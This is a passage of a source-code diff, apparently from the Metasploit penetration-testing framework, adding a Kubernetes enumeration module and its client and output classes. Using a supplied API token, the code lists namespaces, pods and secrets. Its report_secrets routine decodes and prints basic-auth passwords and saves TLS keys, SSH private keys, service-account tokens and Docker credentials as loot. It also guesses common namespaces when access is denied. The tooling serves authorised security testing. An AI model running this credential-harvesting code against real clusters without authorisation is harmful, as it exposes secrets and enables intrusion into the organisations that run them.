service_port = get_env('KUBERNETES_SERVICE_PORT_HTTPS') + fail_with(Msf::Module::Failure::NotFound, 'The KUBERNETES_SERVICE_PORT_HTTPS environment variable was not found, manually set the RPORT option') if service_port.blank? + + @rport = service_port.to_i + end + + if service_host || service_port + service = "#{Rex::Socket.is_ipv6?(service_host) ? '[' + service_host + ']' : service_host}:#{service_port}" + print_good("Kubernetes service host: #{service}") + end + end + + def validate_configuration! + fail_with(Msf::Module::Failure::BadConfig, 'Missing option: RHOSTS') if rhost.blank? + fail_with(Msf::Module::Failure::BadConfig, 'Missing option: RPORT') if rport.blank? + fail_with(Msf::Module::Failure::BadConfig, 'Invalid option: RPORT') unless rport.to_i > 0 && rport.to_i < 65536 + fail_with(Msf::Module::Failure::BadConfig, 'Missing option: TOKEN') if api_token.blank? + fail_with(Msf::Module::Failure::BadConfig, 'Missing option: NAMESPACE') if namespace.blank? + end +end diff --git a/lib/msf/core/exploit/remote/http/kubernetes/auth_parser.rb b/lib/msf/core/exploit/remote/http/kubernetes/auth_parser.rb new file mode 100644 index 000000000000..741f92612082 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/kubernetes/auth_parser.rb @@ -0,0 +1,193 @@ +# -*- coding: binary -*- + +# Parses the succinct Kubernetes authentication API response and converts it into +# a more consumable format +class Msf::Exploit::Remote::HTTP::Kubernetes::AuthParser + def initialize(auth_response) + @auth_response = auth_response + end + + # Extracts the list of rules associated with a kubernetes auth response + def rules + resource_rules = auth_response.dig(:status, :resourceRules) || [] + non_resource_rules = auth_response.dig(:status, :nonResourceRules) || [] + policy_rules = resource_rules + non_resource_rules + + broke_down_policy_rules = policy_rules.flat_map do |policy_rule| + breakdown_policy_rule(policy_rule) + end + compacted_rules = compact_policy_rules(broke_down_policy_rules) + sorted_rules = compacted_rules.sort_by { |rule| human_readable_policy_rule(rule) } + + sorted_rules + end + + # Converts the kubernetes auth response into an array of human readable table + def as_table + columns = ['Resources', 'Non-Resource URLs', 'Resource Names', 'Verbs'] + rows = rules.map do |rule| + [ + combine_resource_groups(rule[:resources], rule[:apiGroups]), + "[#{rule[:nonResourceURLs].join(' ')}]", + "[#{rule[:resourceNames].join(' ')}]", + "[#{rule[:verbs].join(' ')}]" + ] + end + + { columns: columns, rows: rows } + end + + protected + + attr :auth_response + + def policy_rule_for(apiGroups: [], resources: [], verbs: [], resourceNames: [], nonResourceURLs: []) + { + apiGroups: apiGroups, + resources: resources, + verbs: verbs, + resourceNames: resourceNames, + nonResourceURLs: nonResourceURLs + } + end + + # Converts the original policy rule into its smaller policy rules, where + # there is at most one verb for each rule + def breakdown_policy_rule(policy_rule) + sub_rules = [] + policy_rule.fetch(:apiGroups, []).each do |group| + policy_rule.fetch(:resources, []).each do |resource| + policy_rule.fetch(:verbs, []).each do |verb| + if policy_rule.fetch(:resourceNames, []).any? + sub_rules += policy_rule[:resourceNames].map do |resource_name| + policy_rule_for( + apiGroups: [group], + resources: [resource], + verbs: [verb], + resourceNames: [resource_name] + ) + end + else + sub_rules << policy_rule_for( + apiGroups: [group], + resources: [resource], + verbs: [verb] + ) + end + end + end + end + + sub_rules += policy_rule.fetch(:nonResourceURLs, []).flat_map do |non_resource_url| + policy_rule[:verbs].map do |verb| + policy_rule_for( + nonResourceURLs: [non_resource_url], + verbs: [verb] + ) + end + end + + sub_rules + end + + # Finds the original policy rule associated with a simplified rule + def find_policy(existing_simple_rules, simple_rule) + return nil if simple_rule.nil? + + existing_simple_rules.each do |existing_simple_rule, policy| + is_match = ( + existing_simple_rule[:group] == simple_rule[:group] && + existing_simple_rule[:resource] == simple_rule[:resource] && + existing_simple_rule[:resourceNameExist] == simple_rule[:resourceNameExist] && + existing_simple_rule[:resourceName] == simple_rule[:resourceName] + ) + + if is_match + return policy + end + end + + nil + end + + # Merge policy rules together, by joining rules that are associated with the same resource, but different + # verbs + def compact_policy_rules(policy_rules) + compact_rules = [] + simple_rules = {} + policy_rules.each do |policy_rule| + simple_rule = as_simple_rule(policy_rule) + if simple_rule + existing_rule = find_policy(simple_rules, simple_rule) + + if existing_rule + existing_rule[:verbs] ||= [] + existing_rule[:verbs] = (existing_rule[:verbs] + policy_rule[:verbs]).uniq + else + simple_rules[simple_rule] = policy_rule.clone + end + else + compact_rules << policy_rule + end + end + + compact_rules += simple_rules.values + compact_rules + end + + # returns nil if it's not possible to simplify this rule + def as_simple_rule(policy_rule) + return nil if policy_rule[:resourceNames].count > 1 || policy_rule[:nonResourceURLs].count > 0 + return nil if policy_rule[:apiGroups].count != 1 || policy_rule[:resources].count != 1 + + allowed_keys = %i[apiGroups resources verbs resourceNames nonResourceURLs] + unsupported_keys = policy_rule.keys - allowed_keys + return nil if unsupported_keys.any? + + simple_rule = { + group: policy_rule[:apiGroups][0], + resource: policy_rule[:resources][0], + resourceNameExist: false + } + + if policy_rule[:resourceNames].any? + simple_rule.merge( + { + resourceNameExist: true, + resourceName: policy_rule[:resourceNames][0] + } + ) + end + + simple_rule + end + + def human_readable_policy_rule(rule) + parts = [] + + parts << "APIGroups:[#{rule[:apiGroups].join(' ')}]" if rule[:apiGroups].any? + parts << "Resources:[#{rule[:resources].join(' ')}]" if rule[:resources].any? + parts << "NonResourceURLs:[#{rule[:nonResourceURLs].join(' ')}]" if rule[:nonResourceURLs].any? + parts << "ResourceNames:[#{rule[:resourceNames].join(' ')}]" if rule[:resourceNames].any? + parts << "Verbs:[#{rule[:verbs].join(' ')}]" if rule[:verbs].any? + + parts.join(', ') + end + + def combine_resource_groups(resources, groups) + return '' if resources.empty? + + parts = resources[0].split('/', 2) + result = parts[0] + + if groups.count > 0 && groups[0] != '' + result = result + '.' + groups[0] + end + + if parts.count == 2 + result = result + '/' + parts[1] + end + + result + end +end diff --git a/lib/msf/core/exploit/remote/http/kubernetes/client.rb b/lib/msf/core/exploit/remote/http/kubernetes/client.rb index 3cf84d2bd04b..9133ae47775b 100644 --- a/lib/msf/core/exploit/remote/http/kubernetes/client.rb +++ b/lib/msf/core/exploit/remote/http/kubernetes/client.rb @@ -63,13 +63,15 @@ def exec_pod(name, namespace, command, options = {}) { 'method' => 'GET', 'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods/#{name}/exec"), - 'query' => URI.encode_www_form({ - 'command' => command, - 'stdin' => !!options.delete('stdin'), - 'stdout' => !!options.delete('stdout'), - 'stderr' => !!options.delete('stderr'), - 'tty' => !!options.delete('tty') - }), + 'query' => URI.encode_www_form( + { + 'command' => command, + 'stdin' => !!options.delete('stdin'), + 'stdout' => !!options.delete('stdout'), + 'stderr' => !!options.delete('stderr'), + 'tty' => !!options.delete('tty') + } + ), 'headers' => { 'Sec-Websocket-Protocol' => 'v4.channel.k8s.io' } @@ -107,6 +109,18 @@ def exec_pod_capture(name, namespace, command, options = {}, &block) result end + def get_version(options = {}) + _res, json = call_api( + { + 'method' => 'GET', + 'uri' => http_client.normalize_uri("/version") + }, + options + ) + + json + end + def get_pod(pod, namespace, options = {}) _res, json = call_api( { @@ -119,6 +133,71 @@ def get_pod(pod, namespace, options = {}) json end + def list_auth(namespace, options = {}) + data = { + kind: "SelfSubjectRulesReview", + "apiVersion": "authorization.k8s.io/v1", + "metadata": { + "creationTimestamp": nil + }, + "spec": { + "namespace": namespace + }, + "status": { + "resourceRules": nil, + "nonResourceRules": nil, + "incomplete": false + } + } + + _res, json = call_api( + { + 'method' => 'POST', + 'uri' => http_client.normalize_uri('/apis/authorization.k8s.io/v1/selfsubjectrulesreviews'), + 'data' => JSON.pretty_generate(data) + }, + options + ) + + json + end + + def get_secret(secret, namespace, options = {}) + _res, json = call_api( + { + 'method' => 'GET', + 'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/secrets/#{secret}") + }, + options + ) + + json + end + + def list_secret(namespace, options = {}) + _res, json = call_api( + { + 'method' => 'GET', + 'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/secrets") + }, + options + ) + + json + end + + def get_namespace(namespace, options = {}) + _res, json = call_api( + { + 'method' => 'GET', + 'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}") + }, + options + ) + + json + end + def list_namespace(options = {}) _res, json = call_api( { @@ -131,7 +210,7 @@ def list_namespace(options = {}) json end - def list_pods(namespace, options = {}) + def list_pod(namespace, options = {}) _res, json = call_api( { 'method' => 'GET', @@ -154,7 +233,7 @@ def create_pod(data, namespace, options = {}) ) if res.code != 201 - raise Kubernetes::Error::UnexpectedStatusCode, res.code + raise Kubernetes::Error::UnexpectedStatusCode, res: res end json @@ -183,21 +262,22 @@ def delete_pod(name, namespace, options = {}) attr_reader :http_client - # TODO: Support receiving data directly as a table? - # Accept: application/json;as=Table;g=meta.k8s.io;v=v1beta1 - # https://kubernetes.io/docs/reference/using-api/api-concepts/#receiving-resources-as-tables def call_api(request, options = {}) res = http_client.send_request_raw(request_options(request, options)) - if res.nil? || res.body.empty? - raise Kubernetes::Error::ApiError + if res.nil? || res.body.nil? + raise Kubernetes::Error::ApiError.new(res: res) elsif res.code == 401 - raise Kubernetes::Error::AuthenticationError + raise Kubernetes::Error::AuthenticationError.new(res: res) + elsif res.code == 403 + raise Kubernetes::Error::ForbiddenError.new(res: res) + elsif res.code == 404 + raise Kubernetes::Error::NotFoundError.new(res: res) end json = res.get_json_document if json.nil? - raise Kubernetes::Error::ApiError + raise Kubernetes::Error::ApiError.new(res: res) end [res, json.deep_symbolize_keys] diff --git a/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb b/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb new file mode 100644 index 000000000000..9f697e8cf68a --- /dev/null +++ b/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb @@ -0,0 +1,214 @@ +# -*- coding: binary -*- + +# The mixin for enumerating a Msf::Exploit::Remote::HTTP::Kubernetes API +module Msf::Exploit::Remote::HTTP::Kubernetes::Enumeration + def enum_all + enum_version + namespace_items = enum_namespaces + namespaces_name = namespace_items.map { |item| item.dig(:metadata, :name) } + + # If there's no permissions to access namespaces, we can use the current token's namespace, + # as well as trying some common namespaces + if namespace_items.empty? + token_claims = parse_jwt(api_token) + current_token_namespace = token_claims&.dig('kubernetes.io', 'namespace') + possible_namespaces = (datastore['NAMESPACE_LIST'].split(',') + [current_token_namespace]).uniq.compact + namespaces_name += possible_namespaces + + output.print_error("No namespaces available. Attempting the current token's namespace and common namespaces: #{namespaces_name.join(', ')}") + end + + # Split the information for each namespace separately + namespaces_name.each.with_index do |namespace, index| + print_good("Namespace #{index}: #{namespace}") + + enum_auth(namespace) + enum_pods(namespace) + enum_secrets(namespace) + + print_line + end + end + + def enum_version + attempt_enum(:version) do + version = kubernetes_client.get_version + output.print_version(version) + end + end + + def enum_namespaces(name: nil) + output.print_good('Enumerating namespaces') + + namespace_items = [] + attempt_enum(:namespace) do + if name + namespace_items = [kubernetes_client.get_namespace(name)] + else + namespace_items = kubernetes_client.list_namespace.fetch(:items, []) + end + end + output.print_namespaces(namespace_items) + namespace_items + end + + def enum_auth(namespace) + attempt_enum(:auth) do + auth = kubernetes_client.list_auth(namespace) + output.print_auth(namespace, auth) + end + end + + def enum_pods(namespace, name: nil) + attempt_enum(:pod) do + if name + pods = [kubernetes_client.get_pod(name, namespace)] + else + pods = kubernetes_client.list_pod(namespace).fetch(:items, []) + end + + output.print_pods(namespace, pods) + end + end + + def enum_secrets(namespace, name: nil) + attempt_enum(:secret) do + if name + secrets = [kubernetes_client.get_secret(name, namespace)] + else + secrets = kubernetes_client.list_secret(namespace).fetch(:items, []) + end + + output.print_secrets(namespace, secrets) + report_secrets(namespace, secrets) + end + end + + protected + + attr_reader :kubernetes_client, :output + + def attempt_enum(resource, &block) + block.call + rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ApiError => e + output.print_enum_failure(resource, e) + end + + def report_secrets(namespace, secrets) + origin = create_credential_origin_service( + { + address: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'kubernetes', + protocol: 'tcp', + module_fullname: fullname, + workspace_id: myworkspace_id + } + ) + + secrets.each do |secret| + credential_data = { + origin: origin, + origin_type: :service, + module_fullname: fullname, + workspace_id: myworkspace_id, + status: Metasploit::Model::Login::Status::UNTRIED + } + + resource_name = secret.dig(:metadata, :name) + loot_name_prefix = [ + datastore['RHOST'], + namespace, + resource_name + ].join('_') + + case secret[:type] + when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::BasicAuth + username = Rex::Text.decode_base64(secret.dig(:data, :username)) + password = Rex::Text.decode_base64(secret.dig(:data, :password)) + + credential = credential_data.merge( + { + username: username, + private_type: :password, + private_data: password + } + ) + + print_good("basic_auth #{resource_name}: #{username}:#{password}") + create_credential(credential) + when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::TLSAuth + tls_cert = Rex::Text.decode_base64(secret.dig(:data, :"tls.crt")) + tls_key = Rex::Text.decode_base64(secret.dig(:data, :"tls.key")) + tls_subject = begin + OpenSSL::X509::Certificate.new(tls_cert).subject + rescue StandardError + nil + end + loot_name = loot_name_prefix + (tls_subject ? tls_subject.to_a.map { |name, data, _type| "#{name}-#{data}" }.join('-') : '') + + path = store_loot('tls.key', 'text/plain', nil, tls_key, "#{loot_name}.key") + print_good("tls_key #{resource_name}: #{path}") + + path = store_loot('tls.cert', 'text/plain', nil, tls_cert, "#{loot_name}.crt") + print_good("tls_cert #{resource_name}: #{path} (#{tls_subject || 'No Subject'})") + when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::ServiceAccountToken + data = secret[:data].clone + # decode keys to a human readable format that might be useful for users + %i[namespace token].each do |key| + data[key] = Rex::Text.decode_base64(data[key]) + end + loot_name = loot_name_prefix + '-token' + + path = store_loot('kubernetes.token', 'application/json', datastore['RHOST'], JSON.pretty_generate(data), loot_name) + print_good("service token #{resource_name}: #{path}") + when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::DockerConfigurationJson + json = Rex::Text.decode_base64(secret.dig(:data, :".dockerconfigjson")) + loot_name = loot_name_prefix + '-json' + + path = store_loot('docker.json', 'application/json', nil, json, loot_name) + print_good("dockerconfig json #{resource_name}: #{path}") + when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::SSHAuth + data = Rex::Text.decode_base64(secret.dig(:data, :"ssh-privatekey")) + loot_name = loot_name_prefix + '-ssh_key' + private_key = parse_private_key(data) + + credential = credential_data.merge( + { + private_type: :ssh_key, + public_data: private_key&.public_key, + private_data: private_key + } + ) + begin + create_credential(credential) + rescue StandardError => _e + vprint_error("Unable to store #{loot_name} as a valid ssh_key pair") + end + + path = store_loot('id_rsa', 'text/plain', nil, json, loot_name) + print_good("ssh_key #{resource_name}: #{path}") + end + rescue StandardError => e + elog("Failed parsing secret #{resource_name}", error: e) + print_error("Failed parsing secret #{resource_name}: #{e.message}") + end + end + + def parse_private_key(data) + passphrase = nil + ask_passphrase = false + + private_key = Net::SSH::KeyFactory.load_data_private_key(data, passphrase, ask_passphrase) + private_key + rescue StandardError => _e + nil + end + + def parse_jwt(token) + claims, _header = Msf::Exploit::Remote::HTTP::JWT.decode(token) + claims + rescue ArgumentError + nil + end +end diff --git a/lib/msf/core/exploit/remote/http/kubernetes/error.rb b/lib/msf/core/exploit/remote/http/kubernetes/error.rb index 90d321698c6f..80bd1bba59ea 100644 --- a/lib/msf/core/exploit/remote/http/kubernetes/error.rb +++ b/lib/msf/core/exploit/remote/http/kubernetes/error.rb @@ -7,17 +7,37 @@ module HTTP module Kubernetes module Error class ApiError < ::StandardError + def initialize(message: nil, res: nil) + super(message || "Kubernetes ApiError") + @res = res + end + + attr_reader :res end class AuthenticationError < ApiError + def initialize(message: nil, res: nil) + super(message: message || "Kubernetes AuthenticationError - token may be invalid", res: res) + end + end + + class ForbiddenError < ApiError + def initialize(message: nil, res: nil) + super(message: message || "Kubernetes ForbiddenError - token does not have permission to access this resource", res: res) + end + end + + class NotFoundError < ApiError + def initialize(message: nil, res: nil) + super(message: message || "Kubernetes NotFoundError - resource not found", res: res) + end end class UnexpectedStatusCode < ApiError attr_reader :status_code - - def initialize(status_code) - super - @status_code = status_code + def initialize(message: nil, res: nil) + super(message: message || "Kubernetes ApiError - unexpected response status code #{status_code}", res: res) + @status_code = res.code end end end diff --git a/lib/msf/core/exploit/remote/http/kubernetes/output.rb b/lib/msf/core/exploit/remote/http/kubernetes/output.rb new file mode 100644 index 000000000000..7156588c8764 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/kubernetes/output.rb @@ -0,0 +1,5 @@ +# -*- coding: binary -*- + +# The namespace for classes which can output Kubernetes API responses +module Msf::Exploit::Remote::HTTP::Kubernetes::Output +end diff --git a/lib/msf/core/exploit/remote/http/kubernetes/output/json.rb b/lib/msf/core/exploit/remote/http/kubernetes/output/json.rb new file mode 100644 index 000000000000..434758a0e78a --- /dev/null +++ b/lib/msf/core/exploit/remote/http/kubernetes/output/json.rb @@ -0,0 +1,53 @@ +# -*- coding: binary -*- + +# Outputs Kubernetes API responses in JSON format +class Msf::Exploit::Remote::HTTP::Kubernetes::Output::JSON + # Creates a new `Msf::Exploit::Remote::HTTP::Kubernetes::Output::JSON` instance + # + # @param [object] output The original output object with print_line/print_status/etc methods available. + def initialize(output) + @output = output + end + + def print_error(*_args); end + + def print_good(*_args); end + + def print_status(*_args); end + + def print_enum_failure(_resource, error) + if error.is_a?(Msf::Exploit::Remote::HTTP::Kubernetes::Error::ApiError) && error.res + print_json(error.res.get_json_document) + else + output.print_error(error.message) + end + end + + def print_version(version) + print_json(version) + end + + def print_namespaces(namespaces) + print_json(namespaces) + end + + def print_auth(_namespace, auth) + print_json(auth) + end + + def print_pods(_namespace, pods) + print_json(pods) + end + + def print_secrets(_namespace, pods) + print_json(pods) + end + + protected + + attr_reader :output + + def print_json(object) + output.print_line(JSON.pretty_generate(object)) + end +end diff --git a/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb b/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb new file mode 100644 index 000000000000..4749245987cb --- /dev/null +++ b/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb @@ -0,0 +1,164 @@ +# -*- coding: binary -*- + +# Outputs Kubernetes API responses in table format +class Msf::Exploit::Remote::HTTP::Kubernetes::Output::Table + + # Creates a new `Msf::Exploit::Remote::HTTP::Kubernetes::Output::Table` instance + # + # @param [object] output The original output object with print_line/print_status/etc methods available. + # @param [String] highlight_name_pattern The regex used to highlight noteworthy resource names + def initialize(output, highlight_name_pattern: nil) + @output = output + @highlight_name_pattern = highlight_name_pattern + end + + def print_error(*args) + output.print_error(*args) + end + + def print_good(*args) + output.print_good(*args) + end + + def print_status(*args) + output.print_status(*args) + end + + def print_enum_failure(resource, error) + if error.is_a?(Msf::Exploit::Remote::HTTP::Kubernetes::Error::ApiError) + print_status("#{resource} failure - #{error.message}") + else + output.print_error(error.message) + end + end + + def print_version(version) + print_good("Kubernetes service version: #{version.to_json}") + end + + def print_namespaces(namespaces) + table = create_table( + 'Header' => 'Namespaces', + 'Columns' => ['#', 'name'] + ) + + namespaces.each.with_index do |item, i| + table << [ + i, + item.dig(:metadata, :name) + ] + end + + print_table(table) + end + + # Print the auth rules returned from a kubernetes client in the same format + # as `kubectl auth can-i --list --namespace default -v8` + def print_auth(namespace, auth) + auth_table = Msf::Exploit::Remote::HTTP::Kubernetes::AuthParser.new(auth).as_table + + table = create_table( + 'Header' => "Auth (namespace: #{namespace})", + # The table rows will already be sorted, disable the default sorting logic + 'SortIndex' => -1, + 'Columns' => auth_table[:columns], + 'Rows' => auth_table[:rows] + ) + + print_table(table) + end + + def print_pods(namespace, pods) + table = create_table( + 'Header' => "Pods (namespace: #{namespace})", + 'Columns' => ['#', 'namespace', 'name', 'status', 'containers', 'ip'] + ) + + pods.each.with_index do |item, i| + containers = item.dig(:spec, :containers).map do |container| + ports = container.fetch(:ports, []).map do |ports| + "#{ports[:protocol]}:#{ports[:containerPort]}" + end.uniq + details = "image: #{container[:image]}" + details << " #{ports.join(',')}" if ports.any? + "#{container[:name]} (#{details})" + end + table << [ + i, + namespace, + item.dig(:metadata, :name), + item.dig(:status, :phase), + containers.join(', '), + (item.dig(:status, :podIPs) || []).map { |ip| ip[:ip] }.join(',') + ] + end + + print_table(table) + end + + def print_secrets(namespace, secrets) + table = create_table( + 'Header' => "Secrets (namespace: #{namespace})", + 'Columns' => ['#', 'namespace', 'name', 'type', 'data', 'age'] + ) + + secrets.each.with_index do |item, i| + table << [ + i, + namespace, + item.dig(:metadata, :name), + item[:type], + item.fetch(:data, {}).keys.join(','), + item.dig(:metadata, :creationTimestamp) + ] + end + + print_table(table) + end + + protected + + attr_reader :highlight_name_pattern, :output + + def create_table(options) + default_options = { + 'Indent' => indent_level, + # For now, don't perform any word wrapping on the table as it breaks the workflow of + # copying container/secret names + 'WordWrap' => false, + 'ColProps' => { + 'data' => { + 'Stylers' => [ + Msf::Ui::Console::TablePrint::HighlightSubstringStyler.new([highlight_name_pattern]) + ] + }, + 'name' => { + 'Stylers' => [ + Msf::Ui::Console::TablePrint::HighlightSubstringStyler.new([highlight_name_pattern]) + ] + }, + 'age' => { + 'Formatters' => [ + Msf::Ui::Console::TablePrint::AgeFormatter.new + ] + } + } + } + + Rex::Text::Table.new(default_options.merge(options)) + end + + def indent_level + 2 + end + + def with_indent(string, amount = indent_level) + "#{' ' * amount}#{string}" + end + + def print_table(table) + output.print(table.to_s) + output.print_line("#{' ' * indent_level}No rows") if table.rows.empty? + output.print_line + end +end diff --git a/lib/msf/core/exploit/remote/http/kubernetes/secret.rb b/lib/msf/core/exploit/remote/http/kubernetes/secret.rb new file mode 100644 index 000000000000..3539a7c047cf --- /dev/null +++ b/lib/msf/core/exploit/remote/http/kubernetes/secret.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +# Secret types: +# https://kubernetes.io/docs/concepts/configuration/secret/ +module Msf::Exploit::Remote::HTTP::Kubernetes::Secret + # Arbitrary user-defined data + Opaque = 'Opaque' + + # service account token + ServiceAccountToken = 'kubernetes.io/service-account-token' + + # serialized ~/.dockercfg file + DockerConfiguration = 'kubernetes.io/dockercfg' + + # serialized ~/.docker/config.json file + DockerConfigurationJson = 'kubernetes.io/dockerconfigjson' + + # credentials for basic authentication + BasicAuth = 'kubernetes.io/basic-auth' + + # credentials for SSH authentication + SSHAuth = 'kubernetes.io/ssh-auth' + + # data for a TLS client or server + TLSAuth = 'kubernetes.io/tls' + + # bootstrap token data + BootstrapTokenData = 'bootstrap.kubernetes.io/token' +end diff --git a/lib/msf/ui/console/module_action_commands.rb b/lib/msf/ui/console/module_action_commands.rb index 2d984dbaed82..ce17b6db12bd 100644 --- a/lib/msf/ui/console/module_action_commands.rb +++ b/lib/msf/ui/console/module_action_commands.rb @@ -29,9 +29,10 @@ def commands # # Allow modules to define their own commands + # Note: A change to this method will most likely require a corresponding change to respond_to_missing? # def method_missing(meth, *args) - if (mod and mod.respond_to?(meth.to_s, true) ) + if mod && mod.respond_to?(meth.to_s, true) # Initialize user interaction mod.init_ui(driver.input, driver.output) @@ -39,14 +40,31 @@ def method_missing(meth, *args) return mod.send(meth.to_s, *args) end - action = meth.to_s.delete_prefix('cmd_') + action = meth.to_s.delete_prefix('cmd_').delete_suffix('_tabs') if mod && mod.kind_of?(Msf::Module::HasActions) && mod.actions.map(&:name).any? { |a| a.casecmp?(action) } + return cmd_run_tabs(*args) if meth.end_with?('_tabs') return do_action(action, *args) end super end + # + # Note: A change to this method will most likely require a corresponding change to method_missing + # + def respond_to_missing?(meth, _include_private = true) + if mod && mod.respond_to?(meth.to_s, true) + return true + end + + action = meth.to_s.delete_prefix('cmd_').delete_suffix('_tabs') + if mod && mod.kind_of?(Msf::Module::HasActions) && mod.actions.map(&:name).any? { |a| a.casecmp?(action) } + return true + end + + super + end + # # Execute the module with a set action # diff --git a/lib/msf/ui/console/module_argument_parsing.rb b/lib/msf/ui/console/module_argument_parsing.rb index 0ddee1dd7bb6..c192ea4a526e 100644 --- a/lib/msf/ui/console/module_argument_parsing.rb +++ b/lib/msf/ui/console/module_argument_parsing.rb @@ -53,7 +53,7 @@ def parse_run_opts(args, action: nil) end end - parse_opts(@@module_opts_with_action_support, args, help_cmd: help_cmd) + parse_opts(@@module_opts_with_action_support, args, help_cmd: help_cmd, action: action) end def parse_exploit_opts(args) diff --git a/lib/msf/ui/console/table_print/age_formatter.rb b/lib/msf/ui/console/table_print/age_formatter.rb new file mode 100644 index 000000000000..3554349c73ef --- /dev/null +++ b/lib/msf/ui/console/table_print/age_formatter.rb @@ -0,0 +1,55 @@ +# -*- coding: binary -*- + +class Msf::Ui::Console::TablePrint::AgeFormatter + # Takes a string representation of a Time and attempts to parse it + # using a heuristic. The duration is then calculated, and returned + # in a human readable format, such as '13m' to represent 13 minutes ago. + # + # @param [String] date A date string, preferably in an iso8601 format + def format(date) + begin + duration = (Time.now - Time.parse(date)) + rescue ArgumentError + return format_invalid_date(date) + end + seconds = duration + minutes = seconds / 60 + hours = duration / (60 * 60) + days = duration / (60 * 60 * 24) + years = duration / (60 * 60 * 24 * 365) + + if seconds < -1 + format_invalid_date(date) + elsif seconds < 0 + '0s' + elsif seconds < 60 * 2 + "#{seconds.to_i}s" + elsif minutes < 10 + seconds = duration.to_i % 60 + "#{minutes.to_i}m#{seconds == 0 ? '' : "#{seconds}s"}" + elsif minutes < 60 * 3 + "#{minutes.to_i}m" + elsif hours < 8 + minutes = minutes.to_i % 60 + "#{hours.to_i}h#{minutes == 0 ? '' : "#{minutes}m"}" + elsif hours < 24 * 2 + "#{hours.to_i}h" + elsif hours < 24 * 8 + hours = hours.to_i % 24 + "#{days.to_i}d#{hours == 0 ? '' : "#{hours}h"}" + elsif hours < 24 * 365 * 2 + "#{days.to_i}d" + elsif hours < 24 * 365 * 8 + days = days % 365 + "#{years.to_i}y#{days == 0 ? '' : "#{days.to_i}d"}" + else + "#{years.to_i}y" + end + end + + protected + + def format_invalid_date(_date) + "" + end +end diff --git a/lib/msf/ui/console/table_print/highlight_substring_styler.rb b/lib/msf/ui/console/table_print/highlight_substring_styler.rb index 5ca540615e70..c749939e01cb 100644 --- a/lib/msf/ui/console/table_print/highlight_substring_styler.rb +++ b/lib/msf/ui/console/table_print/highlight_substring_styler.rb @@ -8,15 +8,13 @@ class HighlightSubstringStyler HIGHLIGHT_COLOR = '%bgmag' RESET_COLOR = '%clr' - def initialize(substrings) - @substrings = substrings + # @param [Array] terms An array of either strings or regular expressions to highlight + def initialize(terms) + @highlight_terms = /#{Regexp.union(terms.compact).source}/i end def style(value) - search_terms = @substrings.map { |substring| Regexp.escape(substring) } - search_pattern = /#{search_terms.join('|')}/i - - value.gsub(search_pattern) { |match| "#{HIGHLIGHT_COLOR}#{match}#{RESET_COLOR}" } + value.gsub(@highlight_terms) { |match| "#{HIGHLIGHT_COLOR}#{match}#{RESET_COLOR}" } end end end diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index b5cba5f8fbcf..9afdd10966d3 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -253,6 +253,7 @@ def custom_inflections 'vncinject_options' => 'VncInjectOptions', 'vncinject' => 'VncInject', 'json_hash_file' => 'JSONHashFile', + 'jwt' => 'JWT', 'ndr' => 'NDR', 'ci_document' => 'CIDocument', 'fusionvm_document' => 'FusionVMDocument', diff --git a/modules/auxiliary/cloud/kubernetes/enum_kubernetes.rb b/modules/auxiliary/cloud/kubernetes/enum_kubernetes.rb new file mode 100644 index 000000000000..a9e737b6d2d0 --- /dev/null +++ b/modules/auxiliary/cloud/kubernetes/enum_kubernetes.rb @@ -0,0 +1,104 @@ +# -*- coding: binary -*- + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HTTP::Kubernetes + include Msf::Exploit::Remote::HTTP::Kubernetes::Enumeration + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kubernetes Enumeration', + 'Description' => %q{ + Enumerate a Kubernetes API to report useful resources such as available namespaces, + pods, secrets, etc. + + Useful resources will be highlighted using the HIGHLIGHT_NAME_PATTERN option. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'alanfoster', + 'Spencer McIntyre' + ], + 'Notes' => { + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [], + 'Stability' => [CRASH_SAFE] + }, + 'DefaultOptions' => { + 'SSL' => true + }, + 'Actions' => [ + ['all', { 'Description' => 'enumerate all resources' }], + ['version', { 'Description' => 'enumerate version' }], + ['auth', { 'Description' => 'enumerate auth' }], + ['namespace', { 'Description' => 'enumerate namespace' }], + ['namespaces', { 'Description' => 'enumerate namespaces' }], + ['pod', { 'Description' => 'enumerate pod' }], + ['pods', { 'Description' => 'enumerate pods' }], + ['secret', { 'Description' => 'enumerate secret' }], + ['secrets', { 'Description' => 'enumerate secrets' }], + ], + 'DefaultAction' => 'all', + 'Platform' => ['linux', 'unix'], + 'SessionTypes' => ['meterpreter'] + ) + ) + + register_options( + [ + Opt::RHOSTS(nil, false), + Opt::RPORT(nil, false), + Msf::OptInt.new('SESSION', [false, 'An optional session to use for configuration']), + OptRegexp.new('HIGHLIGHT_NAME_PATTERN', [true, 'PCRE regex of resource names to highlight', 'username|password|user|pass']), + OptString.new('NAME', [false, 'The name of the resource to enumerate', nil]), + OptEnum.new('OUTPUT', [true, 'output format to use', 'table', ['table', 'json']]), + OptString.new('NAMESPACE_LIST', [false, 'The default namespace list to iterate when the current token does not have the permission to retrieve the available namespaces', 'default,dev,staging,production,kube-node-lease,kube-lease,kube-system']) + ] + ) + end + + def 